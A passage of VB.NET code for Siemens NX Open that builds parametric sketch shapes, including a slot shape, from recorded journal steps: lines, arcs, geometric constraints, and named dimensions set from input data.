sketch_ConstraintGeometryHelp13.Point.Z = 0 sketch_ConstraintGeometryHelp13.Parameter = 0 sketch_ConstraintGeometryHelp13.Point = Transform.Apply(sketch_ConstraintGeometryHelp13.Point) Dim sketch_ConstraintGeometry22 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc3, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp14 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp14.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp14.Point.X = -3.89985022526211 sketch_ConstraintGeometryHelp14.Point.Y = 0.208324351294315 sketch_ConstraintGeometryHelp14.Point.Z = 0 sketch_ConstraintGeometryHelp14.Parameter = 0 sketch_ConstraintGeometryHelp14.Point = Transform.Apply(sketch_ConstraintGeometryHelp14.Point) Dim sketchTangentConstraint7 As SketchTangentConstraint sketchTangentConstraint7 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry21, sketch_ConstraintGeometryHelp13, sketch_ConstraintGeometry22, sketch_ConstraintGeometryHelp14) ' activeSketch.Update() ' Dim session_UndoMarkId19 As Session.UndoMarkId ' session_UndoMarkId19 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' ---------------------------------------------- ' Menu: Insert->Profile... ' ---------------------------------------------- ' theSession.DeleteUndoMark(session_UndoMarkId19, "Curve") ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId20 As Session.UndoMarkId ' session_UndoMarkId20 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry23 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc4, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp15 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp15.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp15.Point.X = -0.110931429441157 sketch_ConstraintGeometryHelp15.Point.Y = 1.39250376117527 sketch_ConstraintGeometryHelp15.Point.Z = 0 sketch_ConstraintGeometryHelp15.Parameter = 0 sketch_ConstraintGeometryHelp15.Point = Transform.Apply(sketch_ConstraintGeometryHelp15.Point) Dim sketch_ConstraintGeometry24 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line6, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp16 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp16.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp16.Point.X = -1.44132910334875 sketch_ConstraintGeometryHelp16.Point.Y = 1.00524757484946 sketch_ConstraintGeometryHelp16.Point.Z = 0 sketch_ConstraintGeometryHelp16.Parameter = 0 sketch_ConstraintGeometryHelp16.Point = Transform.Apply(sketch_ConstraintGeometryHelp16.Point) Dim sketchTangentConstraint8 As SketchTangentConstraint sketchTangentConstraint8 = activeSketch.CreateTangentConstraint(sketch_ConstraintGeometry23, sketch_ConstraintGeometryHelp15, sketch_ConstraintGeometry24, sketch_ConstraintGeometryHelp16) ' activeSketch.Update() ' Dim session_UndoMarkId21 As Session.UndoMarkId ' session_UndoMarkId21 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry25 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc3, Sketch.ConstraintPointType.ArcCenter, 0) Dim sketch_ConstraintGeometry26 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line2, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp17 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp17.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp17.Point.X = -0.64 sketch_ConstraintGeometryHelp17.Point.Y = 0 sketch_ConstraintGeometryHelp17.Point.Z = 0 sketch_ConstraintGeometryHelp17.Parameter = 0 sketch_ConstraintGeometryHelp17.Point = Transform.Apply(sketch_ConstraintGeometryHelp17.Point) Dim sketchHelpedGeometricConstraint1 As SketchHelpedGeometricConstraint sketchHelpedGeometricConstraint1 = activeSketch.CreatePointOnCurveConstraint(sketch_ConstraintGeometry25, sketch_ConstraintGeometry26, sketch_ConstraintGeometryHelp17) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId22 As Session.UndoMarkId ' session_UndoMarkId22 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry27 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc2, Sketch.ConstraintPointType.ArcCenter, 0) Dim sketch_ConstraintGeometry28 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp18 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp18.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp18.Point.X = 0 sketch_ConstraintGeometryHelp18.Point.Y = -0.44 sketch_ConstraintGeometryHelp18.Point.Z = 0 sketch_ConstraintGeometryHelp18.Parameter = 0 sketch_ConstraintGeometryHelp18.Point = Transform.Apply(sketch_ConstraintGeometryHelp18.Point) Dim sketchHelpedGeometricConstraint2 As SketchHelpedGeometricConstraint sketchHelpedGeometricConstraint2 = activeSketch.CreatePointOnCurveConstraint(sketch_ConstraintGeometry27, sketch_ConstraintGeometry28, sketch_ConstraintGeometryHelp18) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId23 As Session.UndoMarkId ' session_UndoMarkId23 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry29 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.ArcCenter, 0) Dim sketch_ConstraintGeometry30 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line2, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp19 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp19.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp19.Point.X = 0.64 sketch_ConstraintGeometryHelp19.Point.Y = 0 sketch_ConstraintGeometryHelp19.Point.Z = 0 sketch_ConstraintGeometryHelp19.Parameter = 0 sketch_ConstraintGeometryHelp19.Point = Transform.Apply(sketch_ConstraintGeometryHelp19.Point) Dim sketchHelpedGeometricConstraint3 As SketchHelpedGeometricConstraint sketchHelpedGeometricConstraint3 = activeSketch.CreatePointOnCurveConstraint(sketch_ConstraintGeometry29, sketch_ConstraintGeometry30, sketch_ConstraintGeometryHelp19) ' activeSketch.Update() ' Dim session_UndoMarkId24 As Session.UndoMarkId ' session_UndoMarkId24 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry31 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc4, Sketch.ConstraintPointType.ArcCenter, 0) Dim sketch_ConstraintGeometry32 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp20 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp20.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp20.Point.X = 0 sketch_ConstraintGeometryHelp20.Point.Y = 0.36 sketch_ConstraintGeometryHelp20.Point.Z = 0 sketch_ConstraintGeometryHelp20.Parameter = 0 sketch_ConstraintGeometryHelp20.Point = Transform.Apply(sketch_ConstraintGeometryHelp20.Point) Dim sketchHelpedGeometricConstraint4 As SketchHelpedGeometricConstraint sketchHelpedGeometricConstraint4 = activeSketch.CreatePointOnCurveConstraint(sketch_ConstraintGeometry31, sketch_ConstraintGeometry32, sketch_ConstraintGeometryHelp20) ' activeSketch.Update() ' Dim session_UndoMarkId25 As Session.UndoMarkId ' session_UndoMarkId25 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry33 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line6, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry34 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line3, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint8 As SketchGeometricConstraint sketchGeometricConstraint8 = activeSketch.CreateEqualLengthConstraint(sketch_ConstraintGeometry33, sketch_ConstraintGeometry34) ' activeSketch.Update() ' Dim session_UndoMarkId26 As Session.UndoMarkId ' session_UndoMarkId26 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry35 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line6, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry36 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line5, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint9 As SketchGeometricConstraint sketchGeometricConstraint9 = activeSketch.CreateEqualLengthConstraint(sketch_ConstraintGeometry35, sketch_ConstraintGeometry36) ' activeSketch.Update() ' Dim session_UndoMarkId27 As Session.UndoMarkId ' session_UndoMarkId27 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry37 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line5, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry38 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line4, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint10 As SketchGeometricConstraint sketchGeometricConstraint10 = activeSketch.CreateEqualLengthConstraint(sketch_ConstraintGeometry37, sketch_ConstraintGeometry38) ' activeSketch.Update() ' Dim session_UndoMarkId28 As Session.UndoMarkId ' session_UndoMarkId28 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry39 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc4, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry40 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc2, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint11 As SketchGeometricConstraint sketchGeometricConstraint11 = activeSketch.CreateEqualRadiusConstraint(sketch_ConstraintGeometry39, sketch_ConstraintGeometry40) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: View->Orient View to Sketch ' ---------------------------------------------- ' Dim session_UndoMarkId29 As Session.UndoMarkId ' session_UndoMarkId29 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry41 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc3, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometry42 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint12 As SketchGeometricConstraint sketchGeometricConstraint12 = activeSketch.CreateEqualRadiusConstraint(sketch_ConstraintGeometry41, sketch_ConstraintGeometry42) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Dimensions->Horizontal... ' ---------------------------------------------- ' Dim session_UndoMarkId30 As Session.UndoMarkId ' session_UndoMarkId30 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' Dim session_UndoMarkId31 As Session.UndoMarkId ' session_UndoMarkId31 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry1 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry1.Geometry = arc3 sketch_DimensionGeometry1.AssocType = Sketch.AssocType.Tangency sketch_DimensionGeometry1.AssocValue = 54 Dim sketch_DimensionGeometry2 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry2.Geometry = arc1 sketch_DimensionGeometry2.AssocType = Sketch.AssocType.Tangency sketch_DimensionGeometry2.AssocValue = 52 Dim point3d19 As Point3d = Transform.Apply(New Point3d(0.0882963265207153, -2.20110128255208, 0)) Dim nullExpression As Expression = Nothing Dim sketchDimensionalConstraint1 As SketchDimensionalConstraint sketchDimensionalConstraint1 = activeSketch.CreateDimension(Sketch.ConstraintType.HorizontalDim, sketch_DimensionGeometry1, sketch_DimensionGeometry2, point3d19, nullExpression) Dim dimension1 As Annotations.Dimension dimension1 = sketchDimensionalConstraint1.AssociatedDimension Dim expression1 As Expression expression1 = sketchDimensionalConstraint1.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId32 As Session.UndoMarkId ' session_UndoMarkId32 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression1.RightHandSide = "8" ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Dimensions->Vertical... ' ---------------------------------------------- ' Dim session_UndoMarkId33 As Session.UndoMarkId ' session_UndoMarkId33 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' Dim session_UndoMarkId34 As Session.UndoMarkId ' session_UndoMarkId34 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry3 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry3.Geometry = arc4 sketch_DimensionGeometry3.AssocType = Sketch.AssocType.Tangency sketch_DimensionGeometry3.AssocValue = 55 Dim sketch_DimensionGeometry4 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry4.Geometry = arc2 sketch_DimensionGeometry4.AssocType = Sketch.AssocType.Tangency sketch_DimensionGeometry4.AssocValue = 41 Dim point3d20 As Point3d = Transform.Apply(New Point3d(4.60402274000865, -0.0946032069864787, 0)) Dim sketchDimensionalConstraint2 As SketchDimensionalConstraint sketchDimensionalConstraint2 = activeSketch.CreateDimension(Sketch.ConstraintType.VerticalDim, sketch_DimensionGeometry3, sketch_DimensionGeometry4, point3d20, nullExpression) Dim dimension2 As Annotations.Dimension dimension2 = sketchDimensionalConstraint2.AssociatedDimension Dim expression2 As Expression expression2 = sketchDimensionalConstraint2.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId35 As Session.UndoMarkId ' session_UndoMarkId35 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression2.RightHandSide = "3.3" ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Dimensions->Radius... ' ---------------------------------------------- ' Dim session_UndoMarkId36 As Session.UndoMarkId ' session_UndoMarkId36 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' Dim session_UndoMarkId37 As Session.UndoMarkId ' session_UndoMarkId37 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry5 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry5.Geometry = arc3 sketch_DimensionGeometry5.AssocType = Sketch.AssocType.Tangency sketch_DimensionGeometry5.AssocValue = 50 Dim point3d21 As Point3d = Transform.Apply(New Point3d(-3.88503836691141, 1.87314349833229, 0)) Dim sketchDimensionalConstraint3 As SketchDimensionalConstraint sketchDimensionalConstraint3 = activeSketch.CreateRadialDimension(sketch_DimensionGeometry5, point3d21, nullExpression) Dim dimension3 As Annotations.Dimension dimension3 = sketchDimensionalConstraint3.AssociatedDimension Dim expression3 As Expression expression3 = sketchDimensionalConstraint3.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId38 As Session.UndoMarkId ' session_UndoMarkId38 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression3.RightHandSide = ".33" activeSketch.Update() ' Dim session_UndoMarkId39 As Session.UndoMarkId ' session_UndoMarkId39 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Sketch Dimension") Dim sketch_DimensionGeometry6 As Sketch.DimensionGeometry = New Sketch.DimensionGeometry sketch_DimensionGeometry6.Geometry = arc4 sketch_DimensionGeometry6.AssocType = Sketch.AssocType.Tangency sketch_DimensionGeometry6.AssocValue = 66 Dim point3d22 As Point3d = Transform.Apply(New Point3d(1.50103755085214, 2.16325999975749, 0)) Dim sketchDimensionalConstraint4 As SketchDimensionalConstraint sketchDimensionalConstraint4 = activeSketch.CreateRadialDimension(sketch_DimensionGeometry6, point3d22, nullExpression) Dim dimension4 As Annotations.Dimension dimension4 = sketchDimensionalConstraint4.AssociatedDimension Dim expression4 As Expression expression4 = sketchDimensionalConstraint4.AssociatedExpression ' activeSketch.Update() ' Dim session_UndoMarkId40 As Session.UndoMarkId ' session_UndoMarkId40 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Edit Sketch Dimension") expression4.RightHandSide = "1.8" ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Dimensions->Radius... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Tools->Journal->Stop ' ---------------------------------------------- Dim undoMark As Session.UndoMarkId = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "change dimensions") Try expression1.SetName(dimensionData(0).name) expression2.SetName(dimensionData(1).name) expression3.SetName(dimensionData(2).name) expression4.SetName(dimensionData(3).name) Catch ex As Exception System.Windows.Forms.MessageBox.Show("Undoing change names of expressions because of the following errors:" & Chr(10) & ex.ToString()) theSession.UndoToMark(undoMark, Nothing) activeSketch.Update() Exit Sub End Try theSession.DeleteUndoMark(undoMark, Nothing) undoMark = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "change dimensions") Try expression1.RightHandSide = dimensionData(0).rhs expression2.RightHandSide = dimensionData(1).rhs expression3.RightHandSide = dimensionData(2).rhs expression4.RightHandSide = dimensionData(3).rhs Catch ex As Exception System.Windows.Forms.MessageBox.Show("Undoing change values of expressions because of the following errors:" & Chr(10) & ex.ToString()) theSession.UndoToMark(undoMark, Nothing) activeSketch.Update() Exit Sub End Try theSession.DeleteUndoMark(undoMark, Nothing) activeSketch.Update() End Sub End Class ' Creates a slot shape Public Class SlotShapeCreator Inherits ShapeCreator Implements IShapeCreator Public Sub New(ByVal session As Session, ByVal ufSession As NXOpen.UF.UFSession) MyBase.New(session, ufSession) End Sub Public Sub Execute(ByVal dimensionData() As DimensionData) Implements IShapeCreator.Execute theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create shape 3") ' NX 3.0.0.10 ' Journal created by vlucas on Fri Mar 05 20:35:17 2004 Eastern Standard Time ' ---------------------------------------------- ' Menu: Insert->Point... ' ---------------------------------------------- ' Dim session_UndoMarkId1 As Session.UndoMarkId ' session_UndoMarkId1 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Point") Dim point3d2 As Point3d = Transform.Apply(New Point3d(0, 0, 0)) Dim point2 As Point point2 = workPart.Points.CreatePoint(point3d2) point2.SetVisibility(SmartObject.VisibilityOption.Visible) activeSketch.AddGeometry(point2) ' ---------------------------------------------- ' Dialog Begin Point Constructor ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Line... ' ---------------------------------------------- ' Dim session_UndoMarkId2 As Session.UndoMarkId ' session_UndoMarkId2 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId3 As Session.UndoMarkId ' session_UndoMarkId3 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId3, "Curve", Session.MarkVisibility.Visible) Dim point3d3 As Point3d = Transform.Apply(New Point3d(0, 0, 0)) Dim point3d4 As Point3d = Transform.Apply(New Point3d(0.00000000000000351436002694883, 3, 0)) Dim line1 As Line line1 = workPart.Curves.CreateLine(point3d3, point3d4) activeSketch.AddGeometry(line1, Sketch.InferConstraintsOption.InferCoincidentConstraints) Dim sketch_ConstraintGeometry1 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.None, 0) Dim sketchGeometricConstraint1 As SketchGeometricConstraint sketchGeometricConstraint1 = activeSketch.CreateVerticalConstraint(sketch_ConstraintGeometry1) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Line... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId4 As Session.UndoMarkId ' session_UndoMarkId4 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry2 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(point2, Sketch.ConstraintPointType.StartVertex, 0) Dim sketchGeometricConstraint2 As SketchGeometricConstraint sketchGeometricConstraint2 = activeSketch.CreateFixedConstraint(sketch_ConstraintGeometry2) ' activeSketch.Update() ' Dim session_UndoMarkId5 As Session.UndoMarkId ' session_UndoMarkId5 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry3 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line1, Sketch.ConstraintPointType.EndVertex, 0) Dim sketchGeometricConstraint3 As SketchGeometricConstraint sketchGeometricConstraint3 = activeSketch.CreateFixedConstraint(sketch_ConstraintGeometry3) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Arc... ' ---------------------------------------------- ' Dim session_UndoMarkId6 As Session.UndoMarkId ' session_UndoMarkId6 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId7 As Session.UndoMarkId ' session_UndoMarkId7 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId7, "Curve", Session.MarkVisibility.Visible) Dim point3d5 As Point3d = Transform.Apply(New Point3d(0, 0, 0)) Dim nXMatrix1 As NXMatrix = activeSketch.Orientation Dim arc1 As Arc arc1 = workPart.Curves.CreateArc(point3d5, nXMatrix1, 2.46431144076571, 1.03301882830311, 2.1766906814918) activeSketch.AddGeometry(arc1, Sketch.InferConstraintsOption.InferCoincidentConstraints) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' Dim session_UndoMarkId8 As Session.UndoMarkId ' session_UndoMarkId8 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId8, "Curve", Session.MarkVisibility.Visible) Dim point3d6 As Point3d = Transform.Apply(New Point3d(0, 0, 0)) Dim arc2 As Arc arc2 = workPart.Curves.CreateArc(point3d6, nXMatrix1, 3.51500911129525, 1.0226325442025, 2.18901947309927) activeSketch.AddGeometry(arc2, Sketch.InferConstraintsOption.InferCoincidentConstraints) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Arc... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Line... ' ---------------------------------------------- ' Dim session_UndoMarkId9 As Session.UndoMarkId ' session_UndoMarkId9 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Profile short list") ' Dim session_UndoMarkId10 As Session.UndoMarkId ' session_UndoMarkId10 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId10, "Curve", Session.MarkVisibility.Visible) Dim point3d7 As Point3d = Transform.Apply(New Point3d(0, 0, 0)) Dim point3d8 As Point3d = Transform.Apply(New Point3d(1.83174481096266, 3, 0)) Dim line2 As Line line2 = workPart.Curves.CreateLine(point3d7, point3d8) activeSketch.AddGeometry(line2, Sketch.InferConstraintsOption.InferCoincidentConstraints) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' Dim session_UndoMarkId11 As Session.UndoMarkId ' session_UndoMarkId11 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Curve") ' theSession.SetUndoMarkVisibility(session_UndoMarkId11, "Curve", Session.MarkVisibility.Visible) Dim point3d9 As Point3d = Transform.Apply(New Point3d(0, 0, 0)) Dim point3d10 As Point3d = Transform.Apply(New Point3d(-2.03725745627117, 2.86441461896775, 0)) Dim line3 As Line line3 = workPart.Curves.CreateLine(point3d9, point3d10) activeSketch.AddGeometry(line3, Sketch.InferConstraintsOption.InferCoincidentConstraints) ' activeSketch.Update() ' ---------------------------------------------- ' Dialog Begin Sketch Curves ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Constraints... ' ---------------------------------------------- ' Dim session_UndoMarkId12 As Session.UndoMarkId ' session_UndoMarkId12 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry4 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.EndVertex, 0) Dim sketch_ConstraintGeometry5 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line3, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp1 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp1.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp1.Point.X = -0.957511004447451 sketch_ConstraintGeometryHelp1.Point.Y = 1.34627487091484 sketch_ConstraintGeometryHelp1.Point.Z = 0 sketch_ConstraintGeometryHelp1.Parameter = 0 sketch_ConstraintGeometryHelp1.Point = Transform.Apply(sketch_ConstraintGeometryHelp1.Point) Dim sketchHelpedGeometricConstraint1 As SketchHelpedGeometricConstraint sketchHelpedGeometricConstraint1 = activeSketch.CreatePointOnCurveConstraint(sketch_ConstraintGeometry4, sketch_ConstraintGeometry5, sketch_ConstraintGeometryHelp1) ' activeSketch.Update() ' Dim session_UndoMarkId13 As Session.UndoMarkId ' session_UndoMarkId13 = theSession.SetUndoMark(Session.MarkVisibility.Visible, "Create Geometric Constraints") Dim sketch_ConstraintGeometry6 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(arc1, Sketch.ConstraintPointType.StartVertex, 0) Dim sketch_ConstraintGeometry7 As Sketch.ConstraintGeometry = New Sketch.ConstraintGeometry(line2, Sketch.ConstraintPointType.None, 0) Dim sketch_ConstraintGeometryHelp2 As Sketch.ConstraintGeometryHelp sketch_ConstraintGeometryHelp2.Type = Sketch.ConstraintGeometryHelpType.Point sketch_ConstraintGeometryHelp2.Point.X = 0.879237509262078 sketch_ConstraintGeometryHelp2.Point.Y = 1.44 sketch_ConstraintGeometryHelp2.Point.Z = 0 sketch_ConstraintGeometryHelp2.Parameter = 0 sketch_ConstraintGeometryHelp2.Point = Transform.Apply(sketch_ConstraintGeometryHelp2.Point) Dim sketchHelpedGeometricConstraint2 As SketchHelpedGeometricConstraint sketchHelpedGeometricConstraint2 = activeSketch.CreatePointOnCurveConstraint(sketch_ConstraintGeometry6, sketch_ConstraintGeometry7, sketch_ConstraintGeometryHelp2) ' activeSketch.Update() ' ---------------------------------------------- ' Menu: Insert->Dimensions->Angular... ' ---------------------------------------------- ' Dim session_UndoMarkId14 As Session.UndoMarkId ' session_UndoMarkId14 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' ---------------------------------------------- ' Menu: Insert->Dimensions->Angular... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Dimensions->Angular... ' ---------------------------------------------- ' Dim session_UndoMarkId15 As Session.UndoMarkId ' session_UndoMarkId15 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' ---------------------------------------------- ' Menu: Insert->Dimensions->Angular... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Dimensions->Angular... ' ---------------------------------------------- ' Dim session_UndoMarkId16 As Session.UndoMarkId ' session_UndoMarkId16 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' ---------------------------------------------- ' Menu: Insert->Dimensions->Angular... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Dimensions->Angular... ' ---------------------------------------------- ' Dim session_UndoMarkId17 As Session.UndoMarkId ' session_UndoMarkId17 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' ---------------------------------------------- ' Menu: Insert->Dimensions->Angular... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Dimensions->Angular... ' ---------------------------------------------- ' Dim session_UndoMarkId18 As Session.UndoMarkId ' session_UndoMarkId18 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' ---------------------------------------------- ' Menu: Insert->Dimensions->Angular... ' ---------------------------------------------- ' ---------------------------------------------- ' Menu: Insert->Dimensions->Angular... ' ---------------------------------------------- ' Dim session_UndoMarkId19 As Session.UndoMarkId ' session_UndoMarkId19 = theSession.SetUndoMark(Session.MarkVisibility.Invisible, "Update Model from Sketcher") ' Dim session_UndoMarkId20 As Session.UndoMarkId ' session_UndoMarkId20 = 